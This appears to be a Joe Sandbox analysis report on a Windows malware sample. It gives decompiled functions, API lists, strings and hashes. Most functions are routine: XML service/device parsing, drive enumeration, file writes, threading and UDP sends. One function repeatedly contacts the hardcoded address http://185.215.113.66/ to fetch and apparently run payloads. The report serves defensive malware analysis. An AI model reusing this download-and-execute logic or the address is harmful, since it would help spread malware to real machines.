						continue;
					} else {
						L4:
						 *(_t85 - 0x14) = 0;
						_push(_t85 - 0x14);
						_push( *(_t85 - 0x10));
						if( *((intOrPtr*)( *((intOrPtr*)( *( *(_t85 - 0x10)) + 0xa4))))() == 0 &&  *(_t85 - 0x14) != 0) {
							L6:
							if(lstrcmpiW( *(_t85 - 0x14), L"service") == 0) {
								L7:
								 *((intOrPtr*)(_t85 - 0x18)) = E0040C200( *(_t85 - 0x10), L"serviceType");
								if( *((intOrPtr*)(_t85 - 0x18)) != 0) {
									L8:
									 *(_t85 - 0x1c) = 0;
									_push(_t85 - 0x1c);
									_push( *((intOrPtr*)(_t85 - 0x18)));
									if( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 - 0x18)))) + 0x68))))() == 0 &&  *(_t85 - 0x1c) != 0) {
										L10:
										if(lstrcmpiW( *(_t85 - 0x1c),  *(_t85 + 0xc)) == 0) {
											 *(_t85 - 8) =  *(_t85 - 0x10);
										}
										L12:
										__imp__#6( *(_t85 - 0x1c));
									}
									L13:
									 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 - 0x18)))) + 8))))( *((intOrPtr*)(_t85 - 0x18)));
								}
							}
							L14:
							__imp__#6( *(_t85 - 0x14));
						}
						L15:
						if( *(_t85 - 8) == 0) {
							L17:
							 *((intOrPtr*)( *((intOrPtr*)( *( *(_t85 - 0x10)) + 8))))( *(_t85 - 0x10));
							goto L18;
						}
					}
					break;
				}
				L19:
				return  *(_t85 - 8);
			}

0x0040c741
0x0040c741
0x0040c741
0x0040c747
0x0040c750
0x00000000
0x00000000
0x0040c756
0x0040c756
0x0040c760
0x0040c764
0x0040c76d
0x0040c775
0x0040c853
0x00000000
0x0040c785
0x0040c785
0x0040c785
0x0040c78f
0x0040c798
0x0040c7a3
0x0040c7b3
0x0040c7c4
0x0040c7c6
0x0040c7d7
0x0040c7de
0x0040c7e0
0x0040c7e0
0x0040c7ea
0x0040c7f3
0x0040c7fb
0x0040c803
0x0040c813
0x0040c818
0x0040c818
0x0040c81b
0x0040c81f
0x0040c81f
0x0040c825
0x0040c831
0x0040c831
0x0040c7de
0x0040c833
0x0040c837
0x0040c837
0x0040c83d
0x0040c841
0x0040c845
0x0040c851
0x00000000
0x0040c851
0x0040c841
0x00000000
0x0040c775
0x0040c858
0x0040c85e

APIs

lstrcmpiW.KERNEL32(00000000,service), ref: 0040C7BC
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040C80B
SysFreeString.OLEAUT32(00000000), ref: 0040C81F
SysFreeString.OLEAUT32(00000000), ref: 0040C837

Strings

service, xrefs: 0040C7B3
serviceType, xrefs: 0040C7C6

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: service$serviceType
API String ID: 1602765415-3667235276
Opcode ID: 57d823261c39902ee773dc23455852ca3ca2d32db1bb6f44af686056f0d9f317
Instruction ID: a2ae9d540b18a7237781164838fed95b9af08367ec0547399f69e9a392117d82
Opcode Fuzzy Hash: 57d823261c39902ee773dc23455852ca3ca2d32db1bb6f44af686056f0d9f317
Instruction Fuzzy Hash: 5631CA75E0020ADFCB04DF98D884BAFB7B5AF88305F108669E515A7390D7789A85CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0040C921 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89
stringCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E0040C921() {
				void* _t85;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t85 - 0xc)) =  *((intOrPtr*)(_t85 - 0xc)) + 1;
					if( *((intOrPtr*)(_t85 - 0xc)) >=  *((intOrPtr*)(_t85 - 4))) {
						break;
					}
					L2:
					 *(_t85 - 0x10) = 0;
					_push(_t85 - 0x10);
					_push( *((intOrPtr*)(_t85 - 0xc)));
					_push( *((intOrPtr*)(_t85 + 8)));
					if( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 + 8)))) + 0x1c))))() != 0 ||  *(_t85 - 0x10) == 0) {
						L18:
						continue;
					} else {
						L4:
						 *(_t85 - 0x14) = 0;
						_push(_t85 - 0x14);
						_push( *(_t85 - 0x10));
						if( *((intOrPtr*)( *((intOrPtr*)( *( *(_t85 - 0x10)) + 0xa4))))() == 0 &&  *(_t85 - 0x14) != 0) {
							L6:
							if(lstrcmpiW( *(_t85 - 0x14), L"device") == 0) {
								L7:
								 *((intOrPtr*)(_t85 - 0x18)) = E0040C200( *(_t85 - 0x10), L"deviceType");
								if( *((intOrPtr*)(_t85 - 0x18)) != 0) {
									L8:
									 *(_t85 - 0x1c) = 0;
									_push(_t85 - 0x1c);
									_push( *((intOrPtr*)(_t85 - 0x18)));
									if( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 - 0x18)))) + 0x68))))() == 0 &&  *(_t85 - 0x1c) != 0) {
										L10:
										if(lstrcmpiW( *(_t85 - 0x1c),  *(_t85 + 0xc)) == 0) {
											 *(_t85 - 8) =  *(_t85 - 0x10);
										}
										L12:
										__imp__#6( *(_t85 - 0x1c));
									}
									L13:
									 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 - 0x18)))) + 8))))( *((intOrPtr*)(_t85 - 0x18)));
								}
							}
							L14:
							__imp__#6( *(_t85 - 0x14));
						}
						L15:
						if( *(_t85 - 8) == 0) {
							L17:
							 *((intOrPtr*)( *((intOrPtr*)( *( *(_t85 - 0x10)) + 8))))( *(_t85 - 0x10));
							goto L18;
						}
					}
					break;
				}
				L19:
				return  *(_t85 - 8);
			}

0x0040c921
0x0040c921
0x0040c921
0x0040c927
0x0040c930
0x00000000
0x00000000
0x0040c936
0x0040c936
0x0040c940
0x0040c944
0x0040c94d
0x0040c955
0x0040ca33
0x00000000
0x0040c965
0x0040c965
0x0040c965
0x0040c96f
0x0040c978
0x0040c983
0x0040c993
0x0040c9a4
0x0040c9a6
0x0040c9b7
0x0040c9be
0x0040c9c0
0x0040c9c0
0x0040c9ca
0x0040c9d3
0x0040c9db
0x0040c9e3
0x0040c9f3
0x0040c9f8
0x0040c9f8
0x0040c9fb
0x0040c9ff
0x0040c9ff
0x0040ca05
0x0040ca11
0x0040ca11
0x0040c9be
0x0040ca13
0x0040ca17
0x0040ca17
0x0040ca1d
0x0040ca21
0x0040ca25
0x0040ca31
0x00000000
0x0040ca31
0x0040ca21
0x00000000
0x0040c955
0x0040ca38
0x0040ca3e

APIs

lstrcmpiW.KERNEL32(00000000,device), ref: 0040C99C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040C9EB
SysFreeString.OLEAUT32(00000000), ref: 0040C9FF
SysFreeString.OLEAUT32(00000000), ref: 0040CA17

Strings

deviceType, xrefs: 0040C9A6
device, xrefs: 0040C993

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: device$deviceType
API String ID: 1602765415-3511266565
Opcode ID: d1e252de239358218e20ca43259cf9d3f4c29c9aecec0edfa49fab37b6abc5cc
Instruction ID: 13aee1176452d62b74ac46d26b233db62756319b53bb87b3b8849ed906738a0f
Opcode Fuzzy Hash: d1e252de239358218e20ca43259cf9d3f4c29c9aecec0edfa49fab37b6abc5cc
Instruction Fuzzy Hash: 7B31C974E0020ADBCB14CF99D894BAFB7B5AF88304F108269E515B7390D7789A85CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00404CB0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 55
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404CB0() {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				long _v20;
				signed int _v24;
				void* _v28;
				char _v32;
				int _v36;
				void* _t44;

				_v20 = GetLogicalDrives();
				_v16 = 0;
				_v12 = 0x80000002;
				_v8 = 0x80000001;
				_v24 = 0;
				while(_v24 < 2) {
					if(RegOpenKeyExW( *(_t44 + _v24 * 4 - 8), L"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", 0, 0x20019,  &_v28) == 0) {
						_v32 = 0;
						_v36 = 4;
						if(RegQueryValueExW(_v28, L"NoDrives", 0, 0,  &_v32,  &_v36) == 0 && _v32 != 0) {
							_v16 = _v16 | _v32;
						}
						RegCloseKey(_v28);
					}
					_v24 = _v24 + 1;
				}
				return  !_v16 & _v20;
			}

0x00404cbc
0x00404cbf
0x00404cc6
0x00404ccd
0x00404cd4
0x00404ce6
0x00404d0c
0x00404d0e
0x00404d15
0x00404d39
0x00404d47
0x00404d47
0x00404d4e
0x00404d4e
0x00404ce3
0x00404ce3
0x00404d61

APIs

GetLogicalDrives.KERNEL32 ref: 00404CB6
RegOpenKeyExW.ADVAPI32 ref: 00404D04
RegQueryValueExW.ADVAPI32(?,NoDrives,00000000,00000000,00000000,00000004), ref: 00404D31
RegCloseKey.ADVAPI32(?), ref: 00404D4E

Strings

NoDrives, xrefs: 00404D28
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, xrefs: 00404CF7

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: CloseDrivesLogicalOpenQueryValue
String ID: NoDrives$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
API String ID: 2666887985-3471754645
Opcode ID: 9d90b313020425024ef4211a7d2766a6eb2190f61c39788aa0d4f477df4a16fe
Instruction ID: 1183846ab50913c5dc9fb8b6007841b1b3d3e2f8f7d5b2678c7a8c905f18143c
Opcode Fuzzy Hash: 9d90b313020425024ef4211a7d2766a6eb2190f61c39788aa0d4f477df4a16fe
Instruction Fuzzy Hash: 0E110DB0E4020A9BDF10CFD0D945BEEBB74FB48704F108019E611B7280D7B89645CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00404970 Relevance: 9.2, APIs: 6, Instructions: 177
fileCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E00404970(intOrPtr _a12, intOrPtr _a16) {
				signed int _v5;
				void* _v12;
				signed int _v13;
				signed int _v20;
				void* _v24;
				void* _v28;
				signed int _v32;
				long _v36;
				signed char _t76;
				void* _t79;
				intOrPtr _t87;
				intOrPtr _t88;
				signed char _t91;
				signed int _t141;
				void* _t158;
				void* _t159;
				void* _t160;
				void* _t169;

				_v5 = 0;
				EnterCriticalSection(0x416398);
				_t111 = _a12;
				_t76 = E0040B270(_a12, _a16);
				_t159 = _t158 + 8;
				if((_t76 & 0x000000ff) != 0) {
					_t79 = E0040B210(_t111, _a12);
					_t160 = _t159 + 4;
					_v12 = _t79;
					if(_v12 != 0) {
						_v5 = 1;
						_v13 = 0;
						_v20 = 0;
						while(1) {
							_t169 = _v20 -  *0x4163b4; // 0x0
							if(_t169 >= 0) {
								break;
							}
							_v24 = _v20 * 0x110 +  *0x4163b0;
							if( *((intOrPtr*)(_v24 + 4)) ==  *((intOrPtr*)(_v12 + 4))) {
								memcpy(_v24, _v12, 0x40 << 2);
								E00408C70( *((intOrPtr*)(_v24 + 0x108)));
								 *((intOrPtr*)(_v24 + 0x108)) = E00408CE0(_a12, _a16);
								 *((intOrPtr*)(_v24 + 0x10c)) = _a16;
								E00408C70( *((intOrPtr*)(_v24 + 0x100)));
								 *((intOrPtr*)(_v24 + 0x104)) = _a16 - 0x100;
								 *((intOrPtr*)(_v24 + 0x100)) = E0040AB80( *((intOrPtr*)(_v24 + 0x104)), _v24 + 0x14, 0x14, _a12 + 0x100,  *((intOrPtr*)(_v24 + 0x104)));
								_push( *((intOrPtr*)(_v24 + 8)));
								E00405C90( *((intOrPtr*)(_v24 + 0x100)),  *((intOrPtr*)(_v24 + 4)),  *((intOrPtr*)(_v24 + 0x100)),  *((intOrPtr*)(_v24 + 0x104)));
								_t160 = _t160 + 0x3c;
								_v13 = 1;
							} else {
								_v20 = _v20 + 1;
								continue;
							}
							break;
						}
						__eflags = _v13 & 0x000000ff;
						if((_v13 & 0x000000ff) == 0) {
							_t91 = E004044E0(_a16, _v12, _a12, _a16, 1);
							_t160 = _t160 + 0x10;
							__eflags = _t91 & 0x000000ff;
							if((_t91 & 0x000000ff) == 0) {
								 *0x4163b4 = 0;
								_v5 = 0;
							}
						}
						E00408C70(_v12);
						__eflags = _v5 & 0x000000ff;
						if((_v5 & 0x000000ff) != 0) {
							_v28 = CreateFileW(0x4165c8, 0x40000000, 0, 0, 2, 2, 0);
							__eflags = _v28 - 0xffffffff;
							if(_v28 != 0xffffffff) {
								_v32 = 0;
								while(1) {
									__eflags = _v32 -  *0x4163b4; // 0x0
									if(__eflags >= 0) {
										break;
									}
									_t87 =  *0x4163b0; // 0x0
									_t88 =  *0x4163b0; // 0x0
									WriteFile(_v28,  *(_t88 + 0x108 + _v32 * 0x110),  *(_t87 + 0x10c + _v32 * 0x110),  &_v36, 0);
									_t141 = _v32 + 1;
									__eflags = _t141;
									_v32 = _t141;
								}
								FlushFileBuffers(_v28);
								CloseHandle(_v28);
							}
						}
					}
				}
				LeaveCriticalSection(0x416398);
				return _v5;
			}

0x00404978
0x00404981
0x0040498b
0x0040498f
0x00404994
0x0040499c
0x004049a6
0x004049ab
0x004049ae
0x004049b5
0x004049bb
0x004049bf
0x004049c3
0x004049d5
0x004049d8
0x004049de
0x00000000
0x00000000
0x004049f3
0x00404a02
0x00404a11
0x00404a1d
0x00404a38
0x00404a44
0x00404a54
0x00404a68
0x00404a96
0x00404aa2
0x00404abe
0x00404ac3
0x00404ac6
0x00404a04
0x004049d2
0x00000000
0x004049d2
0x00000000
0x00404a02
0x00404ad5
0x00404ad7
0x00404ae7
0x00404aec
0x00404af2
0x00404af4
0x00404af6
0x00404b00
0x00404b00
0x00404af4
0x00404b08
0x00404b14
0x00404b16
0x00404b36
0x00404b39
0x00404b3d
0x00404b3f
0x00404b51
0x00404b54
0x00404b5a
0x00000000
0x00000000
0x00404b6b
0x00404b81
0x00404b92
0x00404b4b
0x00404b4b
0x00404b4e
0x00404b4e
0x00404b9e
0x00404ba8
0x00404ba8
0x00404b3d
0x00404b16
0x004049b5
0x00404bb3
0x00404bc1

APIs

EnterCriticalSection.KERNEL32(00416398,?,?,00000000,0040A547,006A0266,?,0040A563,00000000,0040B81C,?), ref: 00404981
CreateFileW.KERNEL32(004165C8,40000000,00000000,00000000,00000002,00000002,00000000), ref: 00404B30
WriteFile.KERNEL32(000000FF,?,?,00000000,00000000), ref: 00404B92
FlushFileBuffers.KERNEL32 ref: 00404B9E
CloseHandle.KERNEL32(000000FF), ref: 00404BA8
LeaveCriticalSection.KERNEL32(00416398,?,?,00000000,0040A547,006A0266,?,0040A563,00000000,0040B81C,?), ref: 00404BB3

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: File$CriticalSection$BuffersCloseCreateEnterFlushHandleLeaveWrite
String ID:
API String ID: 2945370292-0
Opcode ID: 1fef3702c3e63574ed35e0dfe7bc8173a088fc6aeaa4d3467fc2287270656826
Instruction ID: 17ab94b32ecbdd43ae5be3672dc601cffb9a037549fc2dffe68e9228f76f24ff
Opcode Fuzzy Hash: 1fef3702c3e63574ed35e0dfe7bc8173a088fc6aeaa4d3467fc2287270656826
Instruction Fuzzy Hash: 487182B5A00109ABCB04CF94D985FEFB7B5FB88304F148169EA05B7381C779E941CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040BBA0 Relevance: 9.1, APIs: 6, Instructions: 80
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040BBA0(signed int* _a4, long _a8, _Unknown_base(*)()* _a12, void* _a16, DWORD* _a20, HANDLE* _a24) {
				long _v8;
				signed int* _v12;
				void* _v16;
				void* _t49;

				_v8 = 0;
				if(_a4 == 0) {
					L8:
					return _v8;
				}
				_v12 = _a4;
				EnterCriticalSection( &(_v12[1]));
				E0040BB20( &(_v12[1]), _v12);
				if(_a12 != 0) {
					_v12[7] = E00408B60(_v12[7], 4 +  *_v12 * 4, _v12[7], 4 +  *_v12 * 4);
					if(_v12[7] != 0) {
						_v16 = CreateThread(0, _a8, _a12, _a16, 0, _a20);
						if(_v16 != 0) {
							 *((intOrPtr*)(_v12[7] +  *_v12 * 4)) = _v16;
							 *_v12 =  *_v12 + 1;
							if(_a24 != 0) {
								_t49 = GetCurrentProcess();
								DuplicateHandle(GetCurrentProcess(), _v16, _t49, _a24, 0, 0, 2);
							}
							_v8 = 1;
						}
					}
				}
				LeaveCriticalSection( &(_v12[1]));
				goto L8;
			}

0x0040bba6
0x0040bbb1
0x0040bc88
0x0040bc8e
0x0040bc8e
0x0040bbba
0x0040bbc4
0x0040bbce
0x0040bbda
0x0040bbff
0x0040bc09
0x0040bc25
0x0040bc2c
0x0040bc3c
0x0040bc4a
0x0040bc50
0x0040bc5c
0x0040bc6e
0x0040bc6e
0x0040bc74
0x0040bc74
0x0040bc2c
0x0040bc09
0x0040bc82
0x00000000

APIs

EnterCriticalSection.KERNEL32(-00000004,00000000), ref: 0040BBC4

Part of subcall function 0040BB20: WaitForSingleObject.KERNEL32(?,00000000), ref: 0040BB60
Part of subcall function 0040BB20: CloseHandle.KERNEL32(?), ref: 0040BB79

CreateThread.KERNEL32(00000000,?,00000000,?,00000000,?), ref: 0040BC1F
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040BC5C
GetCurrentProcess.KERNEL32(00000000,00000000), ref: 0040BC67
DuplicateHandle.KERNEL32 ref: 0040BC6E
LeaveCriticalSection.KERNEL32(-00000004), ref: 0040BC82

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: CriticalCurrentHandleProcessSection$CloseCreateDuplicateEnterLeaveObjectSingleThreadWait
String ID:
API String ID: 2251373460-0
Opcode ID: 33c17659471092c2b756b62356fc1a2425cda27d656a6ab2967af513715b6e0f
Instruction ID: 02f9ad1cbe3c42a1849ee7ac27792547e5d144dd11b2029950602c6e4363e771
Opcode Fuzzy Hash: 33c17659471092c2b756b62356fc1a2425cda27d656a6ab2967af513715b6e0f
Instruction Fuzzy Hash: 3E311074900208EFDB04DF94D899F9E7BB5FF48304F108159E905A7391D775AA91CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00407980 Relevance: 9.1, APIs: 6, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407980(signed int _a4, signed int _a8) {

				L0040EDFE();
				L0040EDF8();
				_a4 = _a4 | _a4;
				_a8 = _a8 | _a8;
				L0040EDFE();
				L0040EDF8();
				_a4 = _a4 & 0x0000ffff | _a4 & 0xffff0000;
				_a8 = _a8 & 0x0000ffff | _a8 & 0xffff0000;
				L0040EDFE();
				L0040EDF8();
				_a4 = _a4 & 0x00ff00ff | _a4 & 0xff00ff00;
				_a8 = _a8 & 0x00ff00ff | _a8 & 0xff00ff00;
				return _a4;
			}

0x0040798d
0x0040799e
0x004079a7
0x004079aa
0x004079c0
0x004079dc
0x004079e5
0x004079e8
0x004079fe
0x00407a1a
0x00407a23
0x00407a26
0x00407a32

APIs

_allshl.NTDLL ref: 0040798D
_aullshr.NTDLL ref: 0040799E
_allshl.NTDLL ref: 004079C0
_aullshr.NTDLL ref: 004079DC
_allshl.NTDLL ref: 004079FE
_aullshr.NTDLL ref: 00407A1A

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: _allshl_aullshr
String ID:
API String ID: 673498613-0
Opcode ID: 8ea7b64097fb68af6753185209a0c413dd0031376398f2c807c5146dc0d87a2e
Instruction ID: 2093b42955e45bd62e61740d1c7aadb5a606cc23c90c49e7bcc84aa687a307ef
Opcode Fuzzy Hash: 8ea7b64097fb68af6753185209a0c413dd0031376398f2c807c5146dc0d87a2e
Instruction Fuzzy Hash: 2C1121325005286B9B10EF5EC4826CABBD6EF84361B15C136FC2CDF359D634D9515BD4

Uniqueness

Uniqueness Score: -1.00%

Function 00405CF0 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 58
sleepCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E00405CF0() {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _v44;
				char _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				intOrPtr _v160;
				intOrPtr _v164;
				intOrPtr _v168;
				signed int _v172;
				signed char _t35;
				void* _t45;
				void* _t46;

				_v44 = 0;
				_v40 = 0;
				_v36 = 0;
				_v32 = 0;
				_v28 = 0;
				_v24 = 0;
				_v20 = 0;
				_v16 = 0;
				_v12 = 0;
				_v8 = 0;
				_v168 = 0x411130;
				_v164 = 0x411134;
				_v160 = 0x411138;
				_v156 = 0x41113c;
				_v152 = 0x411140;
				while(1) {
					Sleep(0x3e8);
					_v172 = 0;
					while(_v172 < 5) {
						Sleep(0x3e8);
						_push( *((intOrPtr*)(_t45 + _v172 * 4 - 0xa4)));
						_push("http://185.215.113.66/");
						wsprintfA( &_v148, "%s%s");
						_t35 = E0040D440( &_v148, _t45 + _v172 * 4 - 0x28);
						_t46 = _t46 + 0x18;
						if((_t35 & 0x000000ff) == 1) {
							E0040D4F0( &_v148, 0);
							_t46 = _t46 + 8;
						}
						_v172 = _v172 + 1;
					}
					Sleep(0xdbba0);
				}
			}

0x00405cf9
0x00405d02
0x00405d05
0x00405d08
0x00405d0b
0x00405d0e
0x00405d11
0x00405d14
0x00405d17
0x00405d1a
0x00405d1d
0x00405d27
0x00405d31
0x00405d3b
0x00405d45
0x00405d4f
0x00405d54
0x00405d5a
0x00405d75
0x00405d83
0x00405d96
0x00405d97
0x00405da8
0x00405dc3
0x00405dc8
0x00405dd1
0x00405ddc
0x00405de1
0x00405de1
0x00405d6f
0x00405d6f
0x00405deb
0x00405deb

APIs

Sleep.KERNEL32(000003E8), ref: 00405D54
Sleep.KERNEL32(000003E8), ref: 00405D83
wsprintfA.USER32 ref: 00405DA8
Sleep.KERNEL32(000DBBA0), ref: 00405DEB

Strings

http://185.215.113.66/, xrefs: 00405D97
%s%s, xrefs: 00405D9C

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: Sleep$wsprintf
String ID: %s%s$http://185.215.113.66/
API String ID: 3195947292-2646931437
Opcode ID: c2637b0e451e789f276395e354baee512bf947ab07dd5ce8b1a8847efd57730a
Instruction ID: 33448fd8f16b6151abdcaf40b6ca2b1b809edec1cb8df60be6306fd5b5127b81
Opcode Fuzzy Hash: c2637b0e451e789f276395e354baee512bf947ab07dd5ce8b1a8847efd57730a
Instruction Fuzzy Hash: 22213B70E00318AFCB50DF64DD45BDEBBB4AF09304F1080ABD24DB6281DB785A898F5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040DBD0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 106
networkCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0040DBD0(int __eax, long _a4, void* _a8, intOrPtr _a12, short _a16) {
				short _v6;
				short _v10;
				short _v14;
				short _v18;
				short _v20;
				short _v22;
				int* _v24;
				char _v25;
				char _v29;
				int* _v52;
				char _v53;
				short _t30;
				short _t35;
				long _t38;
				int* _t45;
				intOrPtr* _t50;
				void* _t60;
				int _t64;
				long _t67;

				_t50 = _a4;
				_t64 = __eax;
				_t30 = 0;
				_v25 = 0;
				if(_t50 == 0 ||  *_t50 != 0x756470 || _a8 == 0 || __eax == 0) {
					L12:
					return _t30;
				} else {
					_t60 = __eax + 4;
					_t45 = E00408B20(_t60);
					_t6 =  &(_t45[1]); // 0x4
					_v24 = _t45;
					 *_t45 = _t64;
					memcpy(_t6, _a8, _t64);
					_v18 = 0;
					_v14 = 0;
					_v10 = 0;
					_v6 = 0;
					_t35 = _a16;
					_v20 = 2;
					__imp__#9(_t35);
					_v22 = _t35;
					_v20 = _a12;
					if(_t60 == 0) {
						L10:
						_v29 = 1;
						E00408C70(_t45);
						return _v29;
					} else {
						while(1) {
							_t38 = _a4;
							__imp__#20( *((intOrPtr*)(_t38 + 8)), _t45, _t60, 0,  &_v24, 0x10);
							_t67 = _t38;
							if(_t67 == 0xffffffff) {
								break;
							}
							InterlockedExchangeAdd(_a4 + 0x1c, _t67);
							_t60 = _t60 - _t67;
							_t45 = _t45 + _t67;
							if(_t60 != 0) {
								continue;
							} else {
								_v53 = 1;
								E00408C70(_v52);
								return _v53;
							}
							goto L13;
						}
						if(_t60 != 0) {
							E00408C70(_v52);
							_t30 = _v53;
							goto L12;
						} else {
							_t45 = _v52;
							goto L10;
						}
					}
				}
				L13:
			}

0x0040dbd9
0x0040dbde
0x0040dbe0
0x0040dbe3
0x0040dbe9
0x0040dcea
0x0040dcf0
0x0040dc0d
0x0040dc0d
0x0040dc16
0x0040dc1d
0x0040dc21
0x0040dc25
0x0040dc27
0x0040dc2e
0x0040dc32
0x0040dc36
0x0040dc3a
0x0040dc3f
0x0040dc4b
0x0040dc50
0x0040dc59
0x0040dc5e
0x0040dc64
0x0040dcc0
0x0040dcc1
0x0040dcc6
0x0040dcd8
0x0040dc66
0x0040dc66
0x0040dc66
0x0040dc78
0x0040dc7e
0x0040dc83
0x00000000
0x00000000
0x0040dc8d
0x0040dc93
0x0040dc95
0x0040dc99
0x00000000
0x0040dc9b
0x0040dca0
0x0040dca5
0x0040dcb7
0x0040dcb7
0x00000000
0x0040dc99
0x0040dcba
0x0040dcde
0x0040dce3
0x00000000
0x0040dcbc
0x0040dcbc
0x00000000
0x0040dcbc
0x0040dcba
0x0040dc64
0x00000000

APIs

memcpy.NTDLL(00000004,00000000,?,?), ref: 0040DC27
htons.WS2_32(?), ref: 0040DC50
sendto.WS2_32(?,00000000,?,00000000,?,00000010), ref: 0040DC78
